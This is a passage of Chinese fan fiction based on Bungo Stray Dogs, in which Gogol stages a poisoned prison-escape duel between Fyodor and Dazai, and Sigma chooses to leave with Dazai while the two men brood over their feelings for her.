费奥多尔缓缓站起身,拍了拍衣摆上的灰尘,唇角勾起一抹极淡的弧度,声音平静却带着洞悉一切的了然:“原来是这样啊。” 太宰治也跟着起身,慵懒地伸了个懒腰,惯常的玩味笑意重新覆上眉眼,看向果戈里的眼神里带着几分兴味:“原来如此。” “我说对了吧?” 果戈里转头,看向身侧的西格玛,眼底的疯狂褪去些许,带着几分孩童般的雀跃,像在等待观众为自己的魔术鼓掌。 西格玛沉默了一瞬,目光在费奥多尔与太宰治从容的神色间掠过。 没有质问,没有疑惑,仿佛一切都在他们的预料之中,仿佛果戈里的每一步动作,都早已被他们纳入计算。 这就是天才吗?她心里默默想着。 他们总能在最混乱的局面里,瞬间抓住事情的核心,那些让她困惑、让她不安、辗转反侧的谜题,在他们眼中,或许不过是一眼便能看穿的简单戏法,不值一提。 太宰治慢条斯理地抬手,拍了拍衣袖上沾染的灰尘。 “空间异能者果戈里,”他语气漫不经心,却精准地戳破了关键,“刚刚楼上的骚乱,是你闯进来引起的吧。” 费奥多尔随即接话,紫罗兰色的眼眸平静无波,像是在陈述一件与己无关的小事: “然后你用异能把我们从监狱里转移出来,你的目的是什么?” 果戈里闻言,脸上瞬间绽开一抹满意的笑,眼底的疯癫与兴奋几乎要溢出来。 他猛地向前一步,不由分说地握住了费奥多尔的手,力道大得几乎要捏碎对方的骨节,语气却夸张得像在演一场闹剧:“啊,我的好朋友!我太想你了!” “知道你没事,我激动的心口快要爆炸了!你问我为什么要过来?”他刻意拖长了语调,眼底的笑意愈发诡谲,“那还用说吗?” 话音落下的瞬间,果戈里周身的气息骤然剧变,方才的嬉笑瞬间褪去,取而代之的是令人窒息的、冰冷的杀气,像骤然出鞘的利刃,瞬间笼罩了整个走廊。 “当然是为了干掉你啊。” 费奥多尔对此却仿佛早有预料,唇角缓缓勾起一抹极淡的浅笑。 紫罗兰色的眼眸里没有丝毫波澜,像是早已洞悉了果戈里所有的心思。 “哇哦。” 太宰治抱着手臂,饶有兴致地看着这一幕,语气平淡得像是在看一场无聊的戏剧,毫无波澜地发出一声感慨。 果戈里却突然“啪”地一下松开手,猛地张开双臂,黑色的披风在他身后猎猎作响。 方才的杀气如同潮水般褪去,又变回了那个疯癫随性的模样:“想救出好友的心情,实在太难以撼动!所以我才用不退缩的意志将其打破,那才真正证明了人类自由的意志!” 太宰治双手在身后交叠,鸢色的眼眸里闪过一丝玩味,看向费奥多尔的语气带着几分调侃:“你……还真是有个好朋友呢……” 费奥多尔没有回应,只是静静地看着果戈里的表演。 眼底深处藏着一丝不易察觉的洞悉,仿佛在看一场早已知道结局的闹剧。 果戈里兴奋地原地旋转了一圈,黑色的披风在空中划出一个流畅而诡谲的弧度。 “但是!但是但是!” 他戴着棕色手套的手猛地打了个响指,清脆的声响在混乱的走廊里格外突兀:“在此,我有一个哲学难题——如果我只是单纯地干掉费奥多尔,那么,此行为只表达了『想证明自由意志的自我本能』。” “这难道不是只证明了动物般的感情吗?!”他的声音陡然拔高,带着近乎歇斯底里的偏执,像困在哲学迷宫里的疯子,急于向全世界宣告自己的“真理”。 “在我的大脑被这个难题如千刀万剐般狠狠折磨之后,我终于得出一个结论!” 果戈里猛地将手按在胸前,行了一个夸张而优雅的鞠躬礼,眼底闪烁着近乎狂热的光芒。 他直起身,语气里是掩不住的得意,仿佛破解了世界上最复杂的谜题。 “在我救出好友费奥多尔的同时,对费奥多尔抱有杀意就行了!我终于想出了这个美妙的方法!” 话音未落,果戈里的手再次指向二人,黑色的披风随着他的动作扬起,疯癫的笑意重新浮现在脸上:“那么接下来,请你们二位进行越狱决斗吧!” 费奥多尔和太宰治都愣了愣。 那神色并非意外,更像是对果戈里荒诞行径的短暂玩味,仿佛早已料到他会提出这样离谱的要求。 仅仅一瞬,两人便同时勾起了笑容,眼底不约而同地闪过兴味盎然的光芒。 太宰治笑着用指节撑着下巴,鸢色的眼眸里满是玩味,看向费奥多尔的语气调侃意味更浓:“你真的,有个超好的朋友呢。” 费奥多尔则是笑着转头,迎上太宰治的目光,语气平淡却带着几分不易察觉的了然。 “对吧?” 15. 致命游戏 太宰治笑着,尾音拖出几分漫不经心的弧度:“只要同意参加比赛,30分钟之后就会死,对吧?” 果戈里弯起眼睫,笑声清脆得像碎掉的玻璃碴:“没错,会痛苦地死去!” 费奥多尔用指尖轻轻抵着下颌,唇边漾开一抹极淡的笑,语调轻柔得像在吟诵诗歌:“真是艺术啊。” “啊……”西格玛站在一旁,看着眼前群魔乱舞的三个人,指尖无意识地蜷缩起来。 她知道自己的出身相当特殊,是从“书”里诞生的、连存在都充满异常的造物。 可此刻,她忍不住在心底深深感慨—— 这里的正常人,只有我一个人吗? “规则很简单!” 果戈里猛地抬手,指尖比出一把手枪的形状,指腹虚虚抵在太阳穴上,银霜色的眸子里跃动着近乎癫狂的光,披风的边角随着他的动作猎猎扬起。 “先逃出默尔索的人获胜!” 话音未落,他探手入披风的阴影里,像是从某个异次元的缝隙中捞取物事,下一秒,一只沉甸甸的银色手提箱便被他拎了出来。 金属的锁扣在惨白的灯光下泛着冷光,果戈里手指一旋,“咔哒”一声,箱盖应声弹开。 里面整整齐齐码着1支泛着幽蓝光泽的注射器,透明的针管里盛着透明的不明液体,静静躺着的药瓶上,更是贴着看不出任何标识的白色标签,透着令人心悸的气息。 “只有先成功越狱的人,才能获得解毒剂。” 果戈里的声音拖得长长的,带着一丝刻意的玩味。 “解毒剂全世界独此一份,意思是……” 他的话音戛然而止,费奥多尔慢悠悠地接了下去。 “30分钟之内,我和太宰,有一方会死……” 他指尖依旧抵着下颌,苍白的指尖微微收紧,唇边的笑意一寸寸加深,紫罗兰色的眼眸里却无半分温度,像是淬了冰的琉璃。 “嗯!” 果戈里“啪”地合上箱盖,锁扣弹回的脆响在死寂的囚室里格外刺耳。 “虽然对太宰很抱歉,但其实我只想杀费奥多尔。可如果我不这么做,他是不会乖乖服毒的。” 太宰治闻言,指节轻轻撑着脸颊,歪了歪头,蓬松的棕发滑落肩头,遮住了眼底一闪而过的锋芒,语气里带着几分漫不经心的疑惑:“你为什么要道歉呢?” 他抬眼,与费奥多尔的目光在空中相撞。 没有硝烟,却像是有无数无形的棋子在两人之间落下。 下一秒,他们不约而同地勾起唇角,弧度竟诡异的相似。 那是属于疯子与疯子的默契,是猎手与猎手的对峙。 “这可是最好的机会啊,可谓是天赐良机。”太宰治笑着说,尾音里带着几分轻佻的戏谑。 费奥多尔同样回以一个意味深长的微笑,声音轻柔得像在低吟一段古老的诗行,却字字藏着刀锋:“确实。” 他顿了顿,指尖轻轻摩挲着下巴,语气里难得染上一丝怅然,却更像一种惺惺相惜的挑衅:“但是一想到30分钟后,我就要失去国际象棋的对手了,我还是觉得有点寂寞啊。” 太宰的笑意瞬间更深了,眼底翻涌着无人能懂的疯狂与快意:“你以为自己肯定能赢?” “除此以外,还有别的可能吗?”费奥多尔挑眉,语气里的笃定近乎傲慢。 话音落下的瞬间,两人同时伸手,从手提箱里拿起一支注射器。 冰冷的针尖刺破皮肤的触感传来,他们甚至没有半分犹豫,就那样面不改色地,一同将管内的毒药缓缓注入了自己的血管。 “呵呵呵……” 低低的笑声从两人喉间溢出,在空旷的囚室里回荡,听得人头皮发麻。 看着这一幕,西格玛浑身的血液仿佛都在瞬间凝固。 这两个家伙……正在一边大笑,一边往自己身体里注射毒药。 她下意识地后退半步,后背抵住冰冷的墙壁,指尖不受控制地颤抖着,一股寒意从脚底直窜上天灵盖,连呼吸都变得滞涩起来。 而一旁的果戈里,早已仰起头,发出一阵畅快淋漓的大笑。 他张开双臂,像是在拥抱一场盛大的狂欢,银霜色的眸子亮得惊人,声音里满是压抑不住的兴奋与癫狂: “从现在开始,背神的游戏,果戈里游戏开始了!” 从现在开始30分钟之后,有一方会死。 ——那会是谁呢? 果戈里打了一个响指,清脆的声响在空旷的囚室里荡开余韵。 “好,虽然现在有点晚了,但我还是说明一下吧!” 他旋身踱了两步,带着十字伤痕的银色眼瞳里跃动着兴奋的光,披风的下摆随着动作扫过地面,带起一阵微凉的风。 “你们之前被收容的地方,是这里的最底层——那是专门关押危险异能者的异能空间,俗称【无限赛事】。” “我们现在,则在它上方的普通监狱地下四层。” 果戈里猛地抬手,指尖重重指向头顶的方向,语气里满是癫狂的雀跃:“不过,在通往地面的过程中,还有世界最高级的警卫机构等着你们。” “首先,每个楼层的走廊都被分割成数十个名为【cell】的隔间,想要通过,必须输入密码。屏障的密码每六小时重置一次,只要输错一次,那扇门就会永远无法打开。” 他伸出手指,对着冰冷的墙壁虚虚比划了一下,声音陡然拔高几分:“所有屏障,不管是门还是墙壁,厚度都达到了惊人的120厘米!而且全是用耐异能的特殊金属铸成,想靠蛮力破坏?绝无可能!” “就算你们真能突破所有屏障,后面还有更麻烦的【升降装置】等着。去往上方楼层只能用这个装置,启动它需要掌纹、声纹、视网膜、DNA四项认证,缺一不可。” 果戈里啧啧两声,语气里满是戏谑,“认证信息会实时发送到中央控制室,监视员要通过监视器确认搭乘人员的身份,升降装置才会启动。想瞒天过海?门儿都没有!” 他兴奋地挥舞着手臂,像是在解说一场盛大的演出:“所有楼层都有重武装警卫部队全天候巡逻,他们开枪前可不会发任何警告。更妙的是,他们的武器也有DNA认证,一旦被夺走使用,立刻就会触发警报!” 果戈里猛地张开双臂,仰头发出一阵畅快的大笑,眼底的疯狂几乎要溢出来:“哎呀,不愧是我策划的游戏,就算死上一百万次,也别想逃出生天!” 他话音陡然一顿,像是突然想起什么,弯起唇角,露出一抹恶作剧般的笑:“啊,我还忘记告诉你们最糟糕的情报了!” “一旦发现可疑人员,所在区域的屏障会立即封锁,十秒之后,整个区域就会开始注水。” 果戈里拖长了语调,一字一句,像是在咀嚼什么有趣的字眼,“十分周到的是,他们注入的可不是普通的水——而是由有氧同位素构成的重氧水。” “这种水的质量比普通水大得多,人类根本没法在里面下潜,更别说游泳了。而且它对人体有剧毒,要是大量摄入,可是会直接导致死亡的哦。” 果戈里笑着朝两人伸出手,语气里的恶意浓得化不开:“当然了,就算你们能闯过这一切,过了三十分钟,你们服下的毒药,也会把你们彻底杀死的!” 他舌尖轻轻顶着嘴角,笑容诡谲又疯狂,眼神里满是期待:“怎么样?是不是已经有点想哭了呢?” 太宰治和费奥多尔闻言,却不约而同地露出了笑容。 那是一种愉悦的浅笑。 西格玛站在一旁,只觉得一股恶寒从脚底直窜上天灵盖。 这些家伙……他们正幻想着对方溺水溺毙的模样,正在心里偷着乐呢! 就在这时,果戈里不知从哪里摸出一个白色的小球,指尖灵巧地把玩着,像个变着戏法的小丑,脸上的笑容又变得轻快起来。 “好了,最后还有一个好消息!为了向即将奔赴死地的你们表达敬意,本人果戈里,特意准备了一份心血来潮的礼物!” 他转头看向西格玛,语气带着不容置疑的雀跃:“过来吧,我可爱的西格玛,把那个东西拿过来!” 西格玛抿了抿唇,没有理会那个称呼,只是沉默地将早已准备好的东西朝他推了过去。 那是一辆银灰色的手推车,金属框架铺着白布,在冷白的灯光下泛着凛冽的光,车板上整整齐齐摆着四样东西,每一件都透着不容小觑的分量。 果戈里踩着轻快的步子上前,指尖漫不经心地拂过手推车的边缘,银霜色的眸子里跃动着兴奋的光:“我允许你们各自带一样东西出去。这些可都是能决定胜败的强力武器。” 他旋身站定,伸出手指挨个点过车板上的物件,语气里满是志在必得的张扬。 “第一个,是巡逻警卫使用的无线通信。信号是调频展频的,不会被窃听,要想预知警卫的行动,就只能靠这个。” 他指尖下移,落在一张银色的卡片上,声音陡然压低了几分:“接着是最高警卫长级别的认证卡。唯一逃走的方式是乘海上直升机离开,而飞机门仅能用这张卡打开。” 果戈里的手指又指向了一堆筹码上,眼底闪过一丝狡黠:“然后是大家都知道的筹码炸弹。这些是火药增量型,是我们闯入这里时用剩的,威力足以炸穿半米厚的钢板。” 最后,他的指尖停在了一部沉甸甸的黑色电话上,语气带着几分玩味:“最后是卫星通信电话。要是能进入有信号的1楼,就能用这个向全世界的合作人员求助。在某种意义上,这是最强大的武器。” 费奥多尔和太宰治闻言,都不约而同地将指节搭在下巴上,垂着眼帘,像是在凝神思索,又像是在盘算着什么更深的棋局。 果戈里看着两人这副模样,忍不住轻笑出声:“问题是,要选哪个。” 话音落下的瞬间,费奥多尔和太宰治同时抬眼,目光在空中相撞,激起无声的火花。 太宰治率先勾起一抹冷笑,唇角的弧度带着几分嘲弄的意味:“原来如此,比赛已经……” “开始了,对吧?”费奥多尔慢条斯理地接下话尾,唇边漾开一抹耐人寻味的浅笑,紫罗兰色的眸子里深不见底。 果戈里拍了拍手推车的扶手,歪着头看向两人,语气轻快得像是在讨论什么有趣的游戏:“但是,要让谁先选呢?” 他抬手摸了摸蓬松的银发,笑容里带着几分理所当然的疯癫,像是在说一件再平常不过的事:“那当然是从费奥多尔开始选了,因为你是我的好朋友嘛。” 站在一旁的西格玛看着果戈里这副毫无芥蒂的模样,心头不由得泛起一阵荒谬的寒意。 明明是你想杀了他…… 费奥多尔垂下眼帘,纤长的手指在下颌轻轻摩挲了片刻,不过几秒钟的思索,便抬手指向了手推车上的一样东西,语气平静无波:“那么,我要这个。” 他的指尖稳稳落在那张银色的认证卡上。 果戈里挑了挑眉,笑着应道:“好吧。” 西格玛紧紧盯着费奥多尔的选择,心头思绪翻涌。 这张门卡是登上直升机的唯一凭证,是通向逃生之门的钥匙,是直指胜利的捷径。 费奥多尔的行动,乍看之下无法理解,宛如幽灵般不可捉摸。 但西格玛清楚,他远比任何人都要理性,都要冷静。 就像当时他暗杀自己一样。 那个时候……也是这样。 心口的位置仿佛还残留着尖锐的痛感,血弹穿透皮肉的灼热与钝重,时隔许久仍能在午夜梦回时,清晰地攫住她的呼吸。 那道尚未愈合的伤疤,还在隐隐作痒,带着结痂未褪的滞涩感。 西格玛低头瞥了眼身上笔挺的白西装,衣料平整得没有一丝褶皱,袖口的缝线细密而工整,这正是那一日穿在身上的那件。 染血的痕迹被她仔仔细细洗净,撕裂的衣摆由自己一针一线缝补完整,针脚藏在衣襟内侧,像一道不愿示人的伤疤。 果戈里转头看向太宰治,语气里带着几分促狭:“好了,太宰,你要什么?” 太宰治闻言,慢悠悠地抬起手,指尖朝着一个方向指了过去,脸上挂着惯有的漫不经心的笑。 “我觉得这个就挺好的。” 果戈里和费奥多尔顺着他的指尖看去,两人同时愣了愣。 他指向的不是手推车上的任何一样东西,而是站在一旁,神色茫然的西格玛。 西格玛也怔住了,下意识地微微睁大眼睛,指尖蜷缩起来,语气里带着一丝难以置信的错愕:“我?” 果戈里先是一愣,随即爆发出一阵畅快淋漓的大笑,笑得直不起腰,一手捂住脸上的面具,肩膀不住地颤抖:“哈哈哈哈哈哈!你很会选嘛……” 费奥多尔也勾起了一抹意味深长的笑,那笑容比之前任何一次都要复杂,像是藏着千层的迷雾,让人看不真切。 然而,果戈里的笑声却陡然戛然而止,脸上的笑意瞬间褪去,语气冷了下来:“不行。” 太宰治故作惊讶地歪了歪头,蓬松的棕发蹭过耳尖,几缕碎发垂落额前,眼底满是好奇宝宝般的无辜:“哎,为什么?” 果戈里垂着眼帘,长长的睫毛在眼下投出一片阴影,语调平得没有一丝波澜,却透着不容置喙的坚定:“因为西格玛对我来说很重要。” 太宰治像是听到了什么有趣的事情,眼睛一亮,语气里满是看热闹不嫌事大的好奇:“咦,我能知道西格玛小姐和果戈里先生,还有这位费奥多尔先生之间是什么关系吗?” “西格玛是我的恋人哦。” 果戈里猛地抬起头,银霜色的眸子里又燃起了疯癫的笑意,说着便伸手从背后紧紧搂住了西格玛的腰,力道大得像是要将她嵌进自己的骨血里。 “我们是家人。” 费奥多尔轻笑着开口,语气平淡得像是在陈述一个既定的事实。 西格玛垂着眼帘,看着果戈里紧紧搂着自己的双手,心头泛起一阵酸涩的茫然。 西格玛早就不是从前那样,对“恋人”和“家人”一无所知。 因为在赌场里,她已经见过真实的恋人和家人了。 见过赢了小钱的年轻恋人,挤在角落的卡座上分吃一块蛋糕,男孩笨拙地把奶油抹在女孩嘴角,换来一声带着笑意的轻嗔。 见过风尘仆仆的男人揣着刚赢的筹码,直奔柜台换了现金,念叨着要给家里的孩子买新鞋,眉眼间满是藏不住的温柔。 见过相携而来的老夫老妻,不贪输赢,只是并肩坐在喧嚣里,指尖相扣,安静地看着台上的牌局, 那些浸着烟火气的甜蜜与温馨,是如此真切。 可和果戈里、费奥多尔在一起的时光里,西格玛从未体会过哪怕一丝一毫的甜蜜。 她的心中始终绷着一根弦,紧紧的,从未放松过。 西格玛张了张嘴,想要反驳,想要说他们根本不是什么恋人,也不是什么家人。 可话到了嘴边,却又被她硬生生地咽了回去。 ……反驳是没用的。 西格玛抿了抿唇,低垂着眼眸,长长的睫毛在眼下投出一片浅浅的阴影。 无论怎样,那些都不是我能从他们身上获得的。 西格玛的目光不由自主地飘向太宰治,心头悄然浮起一个疑问——为什么他会选择自己? 他和费奥多尔一样,都是揣着深不可测的心思,步步为营的人。 这样的人,绝不会平白无故的做出任何选择。 一定是自己身上,有什么他想要的东西。 可那究竟是什么呢? 西格玛蹙着眉,指尖无意识地抠着掌心,翻来覆去地想,却始终抓不住一点头绪。 她并不明白太宰治的选择。 但太宰治和费奥多尔一样聪明,甚至更添几分难以捉摸的疯癫。 他会选中自己,一定藏着自己不懂的理由。 西格玛看着眼前带着那抹琢磨不透、漫不经心笑意的男人,睫羽轻轻一颤,缓缓低垂下眼眸。 或许……他真的能赢过费奥多尔。 这个念头像一缕转瞬即逝的风,轻轻拂过她沉寂已久的心湖,漾开一丝连自己都未曾察觉的、微弱的希冀。 太宰治看着被果戈里紧紧搂着的西格玛,目光在她微蹙的眉峰上轻轻打了个转。 真是位美丽的小姐。 连皱着眉的样子,也美得让人移不开眼。 就是那只箍在她腰间的手,还有身后那个笑得疯癫的家伙,实在是碍眼得很。 一股说不清道不明的心思悄然漫上来,混杂着惯有的恶趣味,催着他再添点乱。 出于这种微妙的心情,像是生怕这潭水不够浑,太宰治弯起唇角,语气里带着几分戏谑的认真:“那么我就是西格玛小姐的追求者了。” 果戈里和费奥多尔显然都没有理会太宰治的话。 他们的目光齐齐落在西格玛身上,一个眼底翻涌着疯癫的执拗,一个眸中盛着深不见底的平静,都在无声地等待着她的回应。 西格玛抬起头,看向太宰治,那双清澈的眸子里满是困惑,她轻轻开口,声音不大,却足够清晰:“你……真的要选我吗?” 太宰治闻言,立刻敛起了脸上的戏谑,微微俯身,目光落进她那双透亮的淡粉色眼眸里,那片澄澈的色泽像揉碎的春日朝雾,干净得让人心头微微一颤。 他就这样深情款款地凝视着她的眼睛,语气温柔得能滴出水来:“是的呢,您的美丽从第一眼就深深的吸引了我。” 这句话里有几分真假,只有太宰治自己知道。 “这可不行。” 果戈里皱起眉头,语气里带着一丝不易察觉的急切,他希望西格玛能拒绝,能像从前那样,乖乖地待在自己身边。 西格玛却轻轻摇了摇头。 她低垂着眼眸,视线落在果戈里搂着自己的手上,这双手很有力,正牢牢地束缚着她。 “真的要这么做吗?跟着他,你可能会死。” 果戈里的声音里,第一次带上了一丝近乎哀求的意味。 西格玛的指尖轻轻覆上果戈里戴着皮手套、紧扣着她的手,缓缓将那只覆着皮革凉意的手推开。 果戈里没有用力,只是任由她的指尖擦过手套光滑的表面,那双被推开的手慢慢垂落下去。 指尖隔着薄薄的皮革,仿佛还残留着她方才的温度,空落落的。 西格玛语气平淡无波,却带着一种破釜沉舟的决绝:“到哪都一样。” 说着,她轻轻挣开了果戈里的怀抱,迈步朝着太宰治的方向走了过去。 看着西格玛一步步朝自己走来,太宰治愉悦的眯了眯眼睛,眼中闪过真切的笑意。 那笑意漫过眼底的戏谑,在眼角眉梢漾开淡淡的涟漪。 走到太宰治身旁时,西格玛微微回头,看向站在原地的果戈里,目光里带着一丝复杂的情绪:“果戈里,你一直在追随自由。现在的我选择太宰治,是我的自由。” 果戈里没有回答她的话,只是定定地看着她,过了片刻,才低声开口,声音沙哑得像是被砂纸磨过:“你应该叫我科里亚才对。” 那双银色眼眸里,翻涌着复杂难辨的情绪。 有不舍,有不甘,有愤怒,还有一丝他自己都未曾察觉的落寞。 西格玛避开了他的目光,转过身,安静地站在了太宰治的身旁。 费奥多尔静静地站在一旁,看着眼前这一幕,唇边始终挂着一抹浅笑。 只是那笑意从未抵达眼底,深邃的眸子里,正飞快地盘算着什么,若有所思。 看着西格玛跟着太宰治渐行渐远的身影,果戈里站在原地,披风的下摆垂落在冰冷的地面之上,银色眼眸里翻涌着无人能懂的情绪。 他忽然低低地开口,语调轻得像一声叹息,却又带着几分近乎戏谑的感叹:“我可怜的小娜塔莎,就这样被你的母亲抛弃了。” 果戈里抬手,指尖无意识地摩挲着面具的边缘,声音里漫开一丝说不清道不明的怅然:“选择一个才见过第一次面的男人,奔赴一场可能通往死亡的结局,就这样……抛弃了自己的孩子们。” 果戈里比谁都清楚,西格玛这一转身,同样也抛弃了他。 可他又猛地摇头,像是在说服自己,又像是在嘲笑自己的执念。 不——果戈里在心底对自己说。只有彼此相爱过的人,才算得上是抛弃。 而他和西格玛,从始至终就没有过相爱。 这场名为“羁绊”的戏码,不过是他一个人自导自演的独角戏。 从头到尾,只有他一个观众,一个演员。 念及此,一阵近乎癫狂的笑意忽然从心底涌上来,顺着喉咙漫出来,化作几声低哑的、破碎的笑。 不过,当他想到费奥多尔也同样被丢在原地时,心头那点翻涌的涩意,竟又奇异地平复了下去。 果戈里缓缓转过头,看向一旁,看向那个自始至终都静静坐着的费奥多尔。 费奥多尔自始至终都没有开口,只是静静倚着冰冷的墙壁坐着。 他修长的手指随意搭在膝头,苍白的指尖在昏暗的光线下泛着淡淡的瓷光。 唇边那抹笑意从始至终都未散去,弧度轻浅得像是一触即碎的薄冰,紫罗兰色的眸子里却无半分温度,只盛着深不见底的平静。 那笑意里没有怅然,没有不甘,甚至没有一丝被抛下的波澜,仿佛眼前这场离别、这场选择,不过是他棋盘上早已落定的一步棋。 他就那样安静地笑着,目光淡淡掠过空荡荡的走廊尽头,像在欣赏一出合心意的剧目,又像在盘算着什么更深的棋局,周身漫开的,是令人捉摸不透的诡谲与从容。 那是令果戈里打从心底里厌恶的从容态度。 明明同样被舍弃在这死寂的囚室里,费奥多尔却依旧是那副波澜不惊的模样,仿佛所有的变故都在他的预料之中。 换作平时,果戈里定要扑上去,用些疯癫的言语或是荒诞的举动,搅乱他眼底那份死水般的平静,看他失态才罢休。 可此刻,他却没那个心思了。 胸腔里那颗心正乱得像一团被狂风揉碎的线团,西格玛转身离去时的背影,那句“这是我的自由”,还有她避开自己目光时的模样,全都缠在一起,堵得他连呼吸都觉得滞涩。 太过分了,西格玛。 把我的心搅的一团乱,然后头也不回地转身离开,连一个迟疑的眼神都不肯施舍。 果戈里攥紧了拳,皮质手套的纹路深深硌进掌心,那点钝重的刺痛却压不住心口密密麻麻的涩意。 太过分了,果戈里一遍又一遍地想。 胸腔里翻涌的情绪,分不清是愤怒,是不甘,还是连自己都不愿承认的委屈。 果戈里想,真是太过分了。 好过分,好过分,好过分…好喜欢。 与此同时,另一种滚烫的念头,猝不及防地冲破了所有纷乱的思绪,蛮横地占据了他的脑海。 这么过分的你,好喜欢—— 喜欢,喜欢西格玛。 抛下一切选择自由的你,喜欢,喜欢,好喜欢—— 疯狂的喜欢早已达到了爱的程度。 果戈里想,我爱她。 果戈里忽然笑了,嘴角不受控制地向上扬起,银色眼眸里翻涌着近乎偏执的光。 是的,我爱她。 低沉的笑声从果戈里的喉咙里溢出,带着几分破碎的癫狂,在死寂的囚室里轻轻回荡。 在果戈里想着西格玛的同时,费奥多尔也在想着西格玛。 费奥多尔低垂着眼眸静坐着,纤长的手指无意识地在虚空中划着细碎的圈,那动作轻得仿佛在描摹一个无人知晓的秘密。 很奇妙的感觉,会在各种时刻想到你。 想着西格玛抿着唇,垂着眼睫,指尖微微蜷缩,却终究没有否认他们是家人的样子。 无论何时,你都是如此的惹人怜爱。 费奥多尔的理智如同一道密不透风的墙,绝不会让这些突如其来的念想,漫过防线影响到他的判断。 所以在等待的过程中,他甚至开始享受起,思念对方的感觉。 就像品鉴一杯带毒的酒,舌尖舔过那点甜,再细细咂摸其后的涩,生出几分玩味的愉悦。 原来掌控人心的人,也会被这样无足轻重的情绪缠上。 тоск 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那时他以为,她不过是他众多藏品里,最特别的一件,一件带着温热呼吸、会流眼泪的藏品。 可后来,他想要她的爱。 这是费奥多尔第一次,没能得到自己想要的东西。 哪怕他们有了米哈伊尔,哪怕那个孩子有着和他如出一辙的紫罗兰色眼眸,会软糯地喊他父亲,会黏着西格玛撒娇,会用温热的小手攥住他们的衣角,也无法将西格玛的心牢牢拴在他身边。 她的灵魂永远像风中的沙,看似攥在掌心,触手生温,却总在不经意间从指缝溜走,只留给他一片冰冷的荒芜,和掌心擦过的、细碎的痒。 他得不到西格玛的爱。 西格玛对他的影响也过于深了,所以他决定要杀死西格玛。 得不到,那就毁掉。 毁掉总好过被旁人觊觎,好过让这份失控蔓延成燎原之火。 理性带着遗憾的放弃。 费奥多尔当时确实是这么想的。 得不到就毁掉好了。 原本他一开始的计划,就是将西格玛当做弃子。 后来他也这么做了。 锋利的杀意曾在眼底翻涌,像淬了毒的冰刃,只差一步,就能将那抹让他失控的淡粉色彻底抹去。 但最后,他还是为她留了一条生路。 要问为什么? 费奥多尔垂眸,指尖轻轻摩挲着掌心。他想起那双含泪的淡粉色眼眸,像盛着破碎的星光,脆弱得一碰就碎,却又带着骨子里的执拗。 她理应得到偏爱。 如果一开始西格玛选择放弃赌场,那她之后会得到妥善的保护。 但费奥多尔清楚,西格玛不会放弃赌场。 所以他安排了纳撒尼尔·霍桑。 用濒临死亡,去教会她什么时候该放弃。 就像他一开始说的那样,她才是最重要的。 这份偏爱,是费奥多尔亲手赋予的特权,是他打破自己一贯准则的例外。 表面上,费奥多尔将西格玛当作弃子,任由她在棋局边缘沉浮。 却始终没有赶尽杀绝。 他手下留情了,在无人知晓的角落,在理智与杀意的夹缝里,给了她一线生机。 他知道果戈里会救她,也默许了果戈里救她。 你以为我只把你当做棋子,可你偏偏就是我的例外。 人非圣贤,所以总归会有偏爱。 这就是费奥多尔的偏爱,带着他独有的克制与偏执。 对费奥多尔来说,浅尝辄止就好。 他的理智像一道枷锁,牢牢锁住了那些汹涌的、想要将她彻底占有的念头。 她是他的偏爱没错,但他也会克制自己,不要投入更多,不要让这份感情,彻底淹没他的理智,淹没他步步为营的棋局。 理智和爱,本就可以同时进行。 哪怕这份爱永远得不到回应,哪怕她的心永远无法属于他,他也愿意以他独有的方式,将这份“偏爱”,进行到底。 因为费奥多尔能够笃定,自己在她心中已经留下足够深刻的印记,一道无法磨灭的、带着他气息的印记。 西格玛永远无法忘怀他。 无论她身边的人是谁,无论她日后奔向何方,她永远无法忘记他。 还有比这更棒的事吗? 费奥多尔的笑意深了些。 唇角的弧度弯得恰到好处,不浓不淡,像在回味一场早已定下结局的棋局,连眉梢都染上了几分隐秘的、志在必得的愉悦。 可这愉悦没能盘踞太久。 想到这次见面,从头到尾,西格玛都避开他的目光,那点近乎自得的笑意便悄然淡了几分。 那双总是含着怯意的淡粉色眼睫,自始至终低垂着,像两片不肯绽开的花瓣,连余光都吝啬于分给他分毫。 费奥多尔很清楚,西格玛在怨他,在恨他。 这没什么不好的,毕竟恨比爱长久。 但想到西格玛和太宰治一同离开的身影,还是会涌起微妙的不爽。 费奥多尔想,就像果戈里说的那样,为了只是见了一面的男人,就要抛下所有,包括你所爱的两个孩子…… 还有我。 真是任性啊,西格玛。 他的指尖无意识地收紧,方才还漫着志在必得的眸色,一点点沉下去,漫上薄而冷的雾。 你才是最重要的,西格玛,为什么不明白呢? 为什么非要选择太宰治呢? 明明可以继续安稳的活下去,却要选择迈向死亡。 费奥多尔的笑意彻底淡了些。 紫罗兰色的眼眸里,翻涌着转瞬即逝的怅惘,快得像一场幻觉,稍纵即逝,不留一丝痕迹。 我尊重你的选择。 你永远是我的偏爱。 我最爱的人啊,或许,这将是我们的最后一面。 默尔索监狱内,空旷的走廊里,惨白的光从头顶垂落。 太宰治手背在脑后,哼着不知名的旋律走在前面。 西格玛看着太宰治身着纯白囚服的身影,快步跟了上去。 白色的高跟皮鞋,在空旷的廊道里敲出清脆的嗒嗒声,一下下撞在死寂的空气里,格外突兀。 “为什么在那些东西里选了我?” “你到底在谋划些什么?” 太宰治侧过身,唇角勾起一抹浅淡的、叫人猜不透的笑。 “你知道我现在在想什么吗?” 西格玛的心猛地一紧,指尖无意识地蜷缩起来。 “什么?” 太宰治忽然雀跃地举起双手。 “好宽敞!跟狭窄的单人牢房比起来,这里简直大得像舞会会场似的!” “来跳舞吧!” 西格玛完全不理解他此刻的脑回路,眉头蹙得更紧。 “比起这些没头没脑的话……” 她的话还没说完,手腕就被太宰治猝不及防地攥住。 掌心的温度带着灼热,箍得她手腕发麻。 没等西格玛从错愕中回神,太宰治的另一只手已经顺势环住她的腰,带着她旋转、起舞。 太宰治依旧哼着不成调的舞曲,掌心扣着西格玛纤细的腰肢,带着她的身体一步步踏着凌乱,却莫名合拍的舞步。 他的动作带着不容置喙的掌控感,每一个旋转的弧度都由他定夺。 西格玛只能被他带着,衣摆划出仓促的弧线,白色皮鞋的鞋跟在地面磕出慌乱的声响。 这样流畅的动作,若是放在真正的舞会之上,肯定会是一幅极为美妙的图景。 可惜,这里是监狱。 “……你要怎么利用我啊?” 西格玛的话被又一个猝不及防的旋转打散在空气里,眩晕感涌上来,她下意识地揪住太宰治的囚服衣角。 “你要怎么……打倒费奥多尔?” 太宰治清晰地感受到衣角传来的拉力,他垂眸,瞥见那只攥着自己衣料的手,指节因为用力而泛着淡淡的白。 他嘴角勾起的弧度不觉又上扬了几分,眼底的笑意也随之深了些,却依旧漫着一层叫人看不透的雾。 